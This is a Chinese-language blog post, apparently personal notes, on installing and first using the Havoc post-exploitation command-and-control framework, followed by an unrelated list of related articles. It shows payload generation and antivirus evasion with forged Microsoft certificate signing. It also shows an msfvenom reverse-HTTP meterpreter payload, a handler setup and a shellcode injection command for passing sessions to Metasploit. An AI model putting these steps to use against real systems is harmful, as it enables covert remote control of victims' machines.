Havoc C2d的初次使用
Havoc C2
简介
Havoc是一款现代化的、可扩展的后渗透命令控制框架
当前的Havoc版本还处于早期开发版,随着框架的不断成熟,可能会对Havoc的API和核心结构进行大量更改

以下的配置部分只做简单记录,具体细节还是自己去 Wiki指南 查看, 记得给作者一个
- 传送门:项目地址
安装
依赖
更新kali之后设置依赖项
apt update -y && apt upgrade -y
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
客户端
进入client里面,编译运行就可以了
cd Havoc/Client
proxychains make
./Havoc
编译前一定还是要配置好上面的依赖,如果缺了就会像这样,这种报错就是缺什么补什么,但像这里缺的spdlog,解决的办法就是下这个包apt-get install libspdlog-dev

编译好会生成Havoc, 赋权运行就会出现连接界面

服务端
他的服务端是go实现的,接着配置依赖。最好设代理,反正我扶墙是下不下来
export GOPROXY=https://goproxy.io
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
如果是新环境就快速配置一下go吧
wget -c https://studygolang.com/dl/golang/go1.19.5.linux-amd64.tar.gz
tar -zxvf go1.19.5.linux-amd64.tar.gz -C /usr/local
vim ~/.profile
export PATH=$PATH:usr/local/go/bin
source ~/.profile
go version
编译之后可以先修改配置文件再运行 ,不改的话就按照他原始的账密连接:5spider:password1234
cd Teamserver
./Install.sh
make
vim profiles/havoc.yaotl

开启服务端
./teamserver server --profile ./profiles/havoc.yaotl -v --debug

连接上了就可以开始探索了

基本使用
监听
新建监听器View -> Listeners -> Add,他这里还多了设置header的地方,其他基本和cs差不多。这里用的ip后续可以利用cloudfare进行隐匿

生成&上线
操作和cs很相似,菜单栏上Attack -> Payload,payload种类目前只有exe和dll
当前的waitforsingleobjectex是无混淆的。其他选项如ekko使用 Win32 API进行混淆 。config也是可以按照Wiki的解释进行修改

生成之后感觉他裸奔过defender没什么希望就没有马上去上线(作者过了三个多月都没更新),先去试了下面的免杀框架。回来试这个的时候很。defender,360,火绒动静均无感。但是不知道是不是这个的原因这个时候桌面上很多系统应用都打不开了,重启之后发现我kde没了???

免杀
尝试了Wiki中提到的这个免杀框架 harriet ,他使用SigThief使用伪造的Microsoft证书对二进制文件进行签名
cd Home-Grown-Red-Team/Harriet
bash setup.sh
bash Harriet.sh

提前用havoc生成bin格式的shell,在这里设置好路径和名称,就会在当前目录下生成

没有添加信任静态,静态360和火绒都可以过

动态同样无感

原始的exe为27/71,混淆后的查杀结果如下:

派生会话
模块功能上havoc还不够成熟,体系也还有待完善。转移会话进行利用就很有必要了,这点也在havoc里实现了:
派生至msf
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.130.5 LPORT=9999 -f raw > /home/kali/Desktop/msftest.bin
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
set lhost 192.168.130.5
set lport 9999
在havoc上执行,其中6940为当前的pid
shellcode inject x64 6940 /home/kali/Desktop/msftest.bin

派生至cs
cs同样操作,只需要生成并指定bin格式payload的路径即可

其他的一些后渗透命令还有很多就不一个个试了,练靶场的时候会再详细记录

Havoc C2d的初次使用的更多相关文章
- HashTable初次体验
用惯了数组.ArryList,初次接触到HashTable.Dictionary这种字典储存对于我来说简直就是高大上. 1.到底什么是HashTable HashTable就是哈希表,和数组一样,是一 ...
- 初次启动app校验的活动图和分析
初次启动活动图 version 1 version 2 version 3 根据上图的活动图分析,可能存在较严重的问题: 主线程中如果发现是sdcard的url,则可能进行重命名 FirstEnter ...
- 百度地图API试用--(初次尝试)
2016-03-17: 百度地图API申请key的步骤相对简单,不做过多阐述. 初次使用百度地图API感觉有点神奇,有些功能加进来以后有点问题,注释掉等有空再解决. 代码如下: <%@ page ...
- [masmplus]初次使用报external symbol _start 是配置问题
初次使用masmplus 其中在 codesg segment 使用了 start 标记, 并在end处标明了:end start 但是默认的masmplus 会提示 start 为 不认识的 e ...
- 初次接触json...
这两天发现很多网站显示图片版块都用了瀑布流模式布局的:随着页面滚动条向下滚动,这种布局还会不断加载数据并附加至当前尾部.身为一个菜鸟级的程序员,而且以后可能会经常与网站打交道,我觉得我还是很有必要去尝 ...
- Zookeeper初次使用
下面介绍Linux系统中Zookeeper的初次使用方法. 1.jdk安装和zookeeper下载 首先从jdk官网中下载jdk文件,然后将文件放在/usr/local/java目录下解压,并打开.b ...
- 初次使用IDEA的相关技巧
前言:由于初次使用IDEA,所以很多配置都不是非常熟悉,经过一下午慢慢熟悉和同事的帮助,终于有所斩获,现在我把这个总结写出来,希望能够帮助初次使用的java工程师. 1:下载和安装 下载地址:http ...
- 20145330《Java学习笔记》第一章课后练习8知识总结以及IDEA初次尝试
20145330<Java学习笔记>第一章课后练习8知识总结以及IDEA初次尝试 题目: 如果C:\workspace\Hello\src中有Main.java如下: package cc ...
- 关于初次使用Verilog HDL语言需要懂的基本语法
关于初次使用Verilog HDL语言需要懂的基本语法 1.常量 数字表达式全面的描述方式为:<位宽><进制><数字> 8’b10101100,表示位宽为8的二进制 ...
- 初次使用Docker的体验笔记
一.前言 Docker容器已经发布许久,但作为一名程序员如今才开始接触,实在是罪过-- 在此之前,我还没有对Docker进行过深入的了解,对它的认识仍停留在:这是一种新型的虚拟机.这样的 ...
随机推荐
- SQL Server关于AlwaysOn的理解-读写分离的误区(一)
前言 很多人认为AlwaysOn在同步提交模式下数据是实时同步的,也就是说在主副本写入数据后可以在辅助副本立即查询到.因此期望实现一个彻底的读写分离策略,即所有的写语句在主副本上,所有的只读语句分离到 ...
- [MAUI]实现动态拖拽排序列表
@ 目录 创建页面元素 创建可绑定对象 创建绑定服务类 拖拽(Drag) 拖拽悬停,经过(DragOver) 释放(Drop) 限流(Throttle)和防抖(Debounce) 项目地址 上一章我们 ...
- salesforce零基础学习(一百三十一)Validation 一次的bypass设计
本篇参考: https://admin.salesforce.com/blog/2022/how-i-solved-it-bypass-validation-rules-in-flows 背景:作为系 ...
- Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)
Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221) 环境概 ...
- filebeat新filestream类型是否支持tail_files类似功能探究
背景 试水搭建ELK,使用了ELK7.17.13版本,filebeat默认配置的input type已经是filestream而非旧版的log类型,开始了探索之旅. 信任ChatGPT导致的三次失败尝 ...
- CF1338A
题目简化和分析: \(a_{i}\ge a_{i-1}\) 已经满足直接跳过 \(a_{i}<a_{i-1}\) 我们就要将其的差进行二进制的分解,使得 \(a_{i-1}=a_i\) 我也不知 ...
- 一个vuepress配置问题,引发的js递归算法思考
前言 这两天在尝试用语雀+ vuepress + github 搭建个人博客. 小破站地址 :王天的 web 进阶之路 语雀作为编辑器,发布文档推送 github,再自动打包部署,大概流程如下. 问题 ...
- 多线程指南:探究多线程在Node.js中的广泛应用
前言 最初,JavaScript是用于设计执行简单的web任务的,比如表单验证.直到2009年,Node.js的创建者Ryan Dahl让开发人员认识到了通过JavaScript 进行后端开发已成为可 ...
- SQL基础应用
SQL基础应用 更多详细内容请查阅:https://www.jianshu.com/p/08c4b78402ff 1.SQL介绍 结构化查询语言 5.7 以后符合SQL92严格模式 通过sql_mod ...
- sql删除进程
使用一下语句杀掉进程 USE master go DECLARE @dbname VARCHAR(200) SET @dbname = 'xxxx' --要关闭进程的数据库名 DECLARE @sql ...